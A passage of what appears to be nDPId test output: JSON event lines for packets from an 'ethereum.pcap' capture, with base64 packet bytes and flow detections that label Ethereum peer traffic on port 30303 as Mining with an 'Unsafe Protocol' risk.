fYYBSsPmrAIAvDecUy7iAlzt2fDkTw\/zL2UA=="} +00427{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGWfPAqAG4I+T6jN1Kdl95PEZ8L2h4kYAQEBruzgAAAQEICiLYlvaaQoeV"} +00472{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1148,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269804,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABULh5AADYGNbUj5PqMwKgBuHZf3UovaHiReTxGfIAYAOVKXgAAAQEICppCh5Yi2JbD0ZeBpKtiUhfhIx7WeV7\/+33NKl4dBNY+RnmT+w6aZSc="} +00427{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1149,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269836,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGWfPAqAG4I+T6jN1Kdl95PEZ8L2h4sYAQEBnurgAAAQEICiLYlvaaQoeW"} +00627{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269928,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"KDc3AG3IEBMx8Tl2CABFAADDLh9AADYGNUUj5PqMwKgBuHZf3UovaHixeTxGfIAYAOXd9wAAAQEICppCh5Yi2JbDvgVhoUyzSLH4EGC8sqcFWwsc3Y+vzxjNT6Zqhr1ymJHWDlReHGhGazz50A\/aAhtGGLxqnQx4+e9EeTcvDpyt5DgWJkKlvAZnsq4sqtjxFJ6DaLD5E\/BcyR55u0VtAW3yRgi+5Tx\/md0bc\/4EJQz4H9hTD3omLFBdOilFcsqyjc9zTO0pl5Eh2o8WiLTwbqs="} +00432{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269936,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1LiBAADYGNdIj5PqMwKgBuHZf3UovaHlAeTxGfIAYAOUefQAAAQEICppCh5Yi2JbD3w=="} +00428{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269953,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGWfPAqAG4I+T6jN1Kdl95PEZ8L2h5QIAQEBTuJAAAAQEICiLYlvaaQoeW"} +00428{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":269961,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGWfPAqAG4I+T6jN1Kdl95PEZ8L2h5QYAQEBTuIwAAAQEICiLYlvaaQoeW"} +00474{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":270123,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGWdPAqAG4I+T6jN1Kdl95PEZ8L2h5QYAYEBQdZQAAAQEICiLYlvaaQoeW0ZdzpKtiUhfhIx7WeV7\/+5iewNRxWOu\/lShzWkhuDQ8="} +00432{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":270133,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGWfLAqAG4I+T6jN1Kdl95PEacL2h5QYAYEBQv+gAAAQEICiLYlvaaQoeWvg=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1189,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1578508365271,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"51.161.23.12","src_port":56660,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1189,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":271977,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGLavAqAG4M6EXDN1Udl9XVw7PAAAAALAC\/\/+2RQAAAgQFtAEDAwUBAQgKItiW9wAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1195,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1578508365279,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.9.128.68","src_port":56661,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":279592,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxArAqAG4NAmARN1Vdl\/t7etbAAAAALAC\/\/\/ZeQAAAgQFtAEDAwUBAQgKItiW\/gAAAAAEAgAA"} +00760{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":293591,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEkOBZAADIGi1NV1mw0wKgBuHZf3U5vpma9v4fEn4AYAHr1awAAAQEICmWzXZ8i2JbtjiX8N\/UkjGHiI4KK6khM\/chT1LHox1qUiskn1P9E0bM2lBJuKEUJVzv0ZpQPhZkJpHzHtxRh3lj\/xt\/j98DYRYmrZSlFmiljtU\/TqsEKD5YcQo50QMa0zscLgJKEDYc73pDuPHAqTaZlezbGr0\/zkhv5ZN+34hCODv8NdoORc8P6X\/UXylQERF1HrCsXuxDnfTo+PpPBmt8Texgoh7A+pDFftuOC\/NzbVkocAYoV9KGW+uUqxpSFE2s45Hh4KNsP\/yh6yWO1kGOXa7wuiVy1tbbCN2g6wrbb2opFPDrladJZEav7kjTTx48sbgd7cyXH"} +00429{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":293690,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGtlnAqAG4VdZsNN1Odl+\/h8VPb6ZnrYAQEBq1KAAAAQEICiLYlwtls12f"} +00474{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":294050,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGtjnAqAG4VdZsNN1Odl+\/h8VPb6ZnrYAYEBqvswAAAQEICiLYlwtls12fk05E\/eNp2gBn2Wn2YezoSgCwsTFTQBL0WeUZCIZvQhw="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1208,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1578508365295,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"35.229.232.19","src_port":56662,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":295537,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGbF\/AqAG4I+XoE91Wdl\/o6wkCAAAAALAC\/\/9pGwAAAgQFtAEDAwUBAQgKItiXDAAAAAAEAgAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1220,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1578508365300,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"124.217.235.180","src_port":56663,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":300081,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGD8rAqAG4fNnrtN1Xdl9L2gYiAAAAALAC\/\/+scgAAAgQFtAEDAwUBAQgKItiXEAAAAAAEAgAA"} +00600{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":315790,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"KDc3AG3IEBMx8Tl2CABFAACymwlAACMRP1cS26efwKgBuHZfdl8AnsFrVj4puAH6ZgARKbHJmno0oUTDSx6ME3WyQvgYFdLFf82IMxF0n+9n2kTCv9WKp0W5OWAeoQIHesUQlOhBZUox8XuUKjSw2r\/cLxIh6clEUwjRudwx4mptlXU2a3WMaDxBAALzy4RPFs69gun3gnZfoAez3OWZbA2U21K6mmqEcXi9Zewq23MX\/wTlxWTRncmbhF4WIGEK"} +00572{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1240,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":315825,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"KDc3AG3IEBMx8Tl2CABFAACcmwpAACMRP2wS26efwKgBuHZfdl8AiLphceZOwZGufNXFAvXWI774ooc6PkwC6kxvzCm0BhiTs\/TWig3gE4P3+Y0lY\/Fll4rTUKnacLSuqKdSUAk7eTbz218E2dS8j3sLMJigll9ziTSt7jKgE6R7GxELpoJhO+ReAQHdBMuEEtunn4J2X4J2X8mETxbOvYLp94CEXhYgYQo="} +00602{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1241,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":316928,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAmgAAEAR+vjAqAG4Etunn3Zfdl8Anj7AyKLY5AHDHkr8d6KSA+T3Tls\/POEygEa\/IYu00zDsS\/rUOw6lzLJwrJGeGp5ZbDZpK7GjW2rkr31SRKZcwxqVK3x67DtjZyUlj3CybqwG4tIXJkxmTgyRuyMntMeOtUM\/AQLzy4QS26efgnZfgnZfoHHmTsGRrnzVxQL11iO++KKHOj5MAupMb8wptAYYk7P0hF4WIGEF"} +00715{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":386800,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEERKJAADcGbXoiYawWwKgBuHZf3SnE3yB7nZqG6oAYAfoxBgAAAQEICjHMlYIi2JZvGdby6dME+3x4dvya5AgCwvqTN38qxsoQG0cVajFonOjSLqEqRyBei\/9lSFrSkhr8elR6liSUj+p7b0DEsed7ZiXVa4yCEb9HejeECGlcsfrhCxUTzn3AiEDMdLM6NvjPN\/s4BZwVMKiL2utDwrMkOAfN\/Y+CugH0SGzKoHXaxPA78qQbAxrbjdN4m9Zc\/t1hGf5Wm3pbjqQuWhEervR7QU9RvZQzqMoxtdq9s6Iwi7TVA7hVHJ3h4940Itigx7bj+mWQrtUAYEE1SvseyocxXg=="} +00428{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":386827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0RKNAADcGbkkiYawWwKgBuHZf3SnE3yFLnZqHC4AQAfoE+gAAAQEICjHMlYIi2JZw"} +00428{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1296,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":386829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0RKRAADcGbkgiYawWwKgBuHZf3SnE3yFLnZqHmoAQAfkEawAAAQEICjHMlYMi2JZw"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1315,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1578508365408,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":0,"l3_proto":"ip4","src_ip":"183.129.242.164","dst_ip":"192.168.1.184","src_port":1024,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00575{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1315,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":408726,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"KDc3AG3IEBMx8Tl2CABFAACdhY9AAC4RWjq3gfKkwKgBuAQAdl8AiS5Y3VkKujBE9K5giYMoNotbt65xxd7ko3VSXKgTCSaupxKnp71rmT0XRsX6xoF5macEurqmdfib0\/9m0ybRIVy\/Qzz+\/\/zwyKtEHKyC9Xjjwvc8TLpzNetXjDWFS0pbC\/Z0AQHeBcuErBRsfYJ2X4J2X8uETxbOvYLp94J2X4ReFiBh"} +00552{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1315,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1578508365408,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":0,"l3_proto":"ip4","src_ip":"183.129.242.164","dst_ip":"192.168.1.184","src_port":1024,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00601{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":409418,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACy8oAAAEARGzTAqAG4t4HypHZfBAAAnqbvG70JBv5PXjvCBbR1Rp7tYoTQJi2jMUD7JOn6eWv9REwRmFSXtYoHsvszWP\/amLZkv0asbrMZoJOaxU2yggG3KzVpk0IKmRZiX\/KGqSOqaOPD2NnZ\/WIPpNjQN9gDidCOAQLzy4S3gfKkggQAgnZfoN1ZCrowRPSuYImDKDaLW7euccXe5KN1UlyoEwkmrqcShF4WIGEF"} +00571{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":409833,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACc4fIAAEARK9jAqAG4t4HypHZfBAAAiACVOpGBWjTeJor2OHTFdIkJfHanNwusT7Z+X6ZhMccUpEYH1blVudB+7Lhiy59WZ4RAivu0dgr\/6z5c18c2wNa0j2NMO4UV7uXk8QqS8l0iv7COflKJEb7GBR6jLr1IE7ZSAQHdBMuEfwAAAYJ2X4J2X8mEt4HypIIEAICEXhYgYQU="} +00439{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":411322,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADEGPK8zoRcMwKgBuHZf3VQuhVQAV1cO0KAScSARYwAAAgQFrAQCCAo+6INOItiW9wEDAwc="} +00427{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1319,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":411408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGLbfAqAG4M6EXDN1Udl9XVw7QLoVUAYAQECygnAAAAQEICiLYl3Y+6INO"} +01201{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1320,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":413075,"pkt_caplen":639,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":639,"pkt_l4_len":605,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJxAABAAEAGK3rAqAG4M6EXDN1Udl9XVw7QLoVUAYAYECyDfQAAAQEICiLYl3c+6INOAjsEhZMwnv7AYIDvDVtrVuj584tbTBHPl5FfxNiETDe4\/2bbkHyZOsBBL2pjw7L50JQ7E1u6e7FU3XqiDLBvtHiYyrNJbDsbzTSeAUmmiGGn\/rVs6lWdKtzqX+Yhe52EHPlvLH3EJKxiwLzJCxpyscYV76Mqzt3rq+U+IQ8dwmh3Nb7YKN8W\/tFY\/aFWAb+DQBv6piiVGN8793L3cIiNtkqYb7PDjTj9a+ncM9xXzaPAfp6yTqM2P3pcHJbQlDXOK6zL\/DacoT70CWvHMTvMMYG+7l3\/hTiJQjWtQWZPWxijqkdUJQhjH752XlqtwvHYViAJmgTRfE9h3NXhZdPvFlE3OSwtEiQtD6cT465FNzZ0dTChmNiu5LCCyWaKQ\/I+bjDfEgLhzs0xrzGLWfIGJ9ql5HbMedUgn9vXVbw5+MyIb5wPRO7KjKgYR0d6fMgz0VfsMPMQEs74x9tmu8LBoq06ZbKzFR3RrCkNqNFWVWB8wxhRV2y1IscRVfVZSGDcFyS3LfqvhCD9fbm6ctSysMr8LClBfsdKckU5V7Ba7MT48uPaPWJ2BOO2cQ8e5CzsJPSdwENL+PGg8oqEDsIlZDFsyhtbUoQMuq8EsBrrvTUxXLLyKiWfsv3hAZGADQvFJFgZKLVzP29GR23Tms3MsAvvZ1I81kwPVLZfpOlL8TN5aBDd1jeOEV7U7tRNdmajrAkTnSaC4RECbrWjMoc+XWcxlp43tI0NDuAj+vR0ccAA38wI6iAFENOiDpH2"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1320,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":4,"flow_first_seen":1578508365271,"flow_last_seen":1578508365413,"flow_tot_l4_data_len":721,"flow_min_l4_data_len":32,"flow_max_l4_data_len":605,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"51.161.23.12","src_port":56660,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00439{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1321,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":419060,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADAGUh6d5phXwKgBuHZf3VIVkuQhTk9as6AScSDAlwAAAgQFrAQCCAq827CpItiW2wEDAwc="} +00427{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1322,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":419127,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGQibAqAG4neaYV91Sdl9OT1qzFZLkIoAQECxPsAAAAQEICiLYl3u827Cp"} +01223{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1323,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":420924,"pkt_caplen":649,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":649,"pkt_l4_len":615,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJ7AABAAEAGP9\/AqAG4neaYV91Sdl9OT1qzFZLkIoAYECzcTgAAAQEICiLYl32827CpAkUEkClDEehLobmQbbq0Gz88T6EtnrPK5m21ZMthOtQadc9Bu2BpGWCvf9sJsO1HNQSMiG\/gRXiUvC1qsMYknKuo5riP0O5pCPUXOV9\/dCGVmpEoJbX9Cu4SU8oOVVcq0BW5mBcSCXRzqVkJ6OuFKGVTETzXDICOVY5\/x4IlVl067mKLB\/y5BdW+kH6ZLpWMCALAcMn2\/N\/iuz7T4n58+LdBAiZGJcKZIWLhE0kGcJEWBFrygfok1RQVFkWtbGZu7Yv7S3BhIHHDNoh2JCQyRKUOY3W1VSS+94ol1wQvZHK2D\/7cg3DZHBIELc1hEYWnGs7+v+aH3JWQbtMvGudM\/\/TxcEs5sbHPj2iuPwUs+GWr\/ABYrJbqnLktLNlolZ93lHC2AiZh7UnQSEZTQ2C0klPi0thw4o3CnU9xvXxsrflgbGFAzwNXG03KE25YHxzaVDpGfCzy9Gr6gwSGkF3c3kmPryW7WuvlPz9g4Qw01EnLeHPggGUoZYmc0gvvD3Dsvfo9uusSrfCPX9JGhzriLcXtplCdwocezH9CR3bPV\/XtsjxN+Nr7eBjpfw3OsMQ4OAwbZ2HbAGUJo15wGuvtlDl6V61+4R5Cg4votIpuRyRgpVUBGlee0R7tb2JnAr4Yd2w1u5wUF+hroymJMt828hU4NcUZIN8xqd5NItltnYBHoXPBTsYssjGvvdmkIN35e9KfJyCJj5cohl4gdMFpEjXdRXq5jWfjrb4KRRnkt1m8IiceoNy6GFXL7gqcU9Jy\/F0tjlZ37g=="} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1323,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1578508365239,"flow_last_seen":1578508365420,"flow_tot_l4_data_len":731,"flow_min_l4_data_len":32,"flow_max_l4_data_len":615,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"157.230.152.87","src_port":56658,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00440{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1339,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":458807,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFCAA8AABAACwG2AY0CYBEwKgBuHZf3VXR7JfX7e3rXKASaN9TlwAAAgQFrAQCCAqDIEEYItiW\/gEDAwc="} 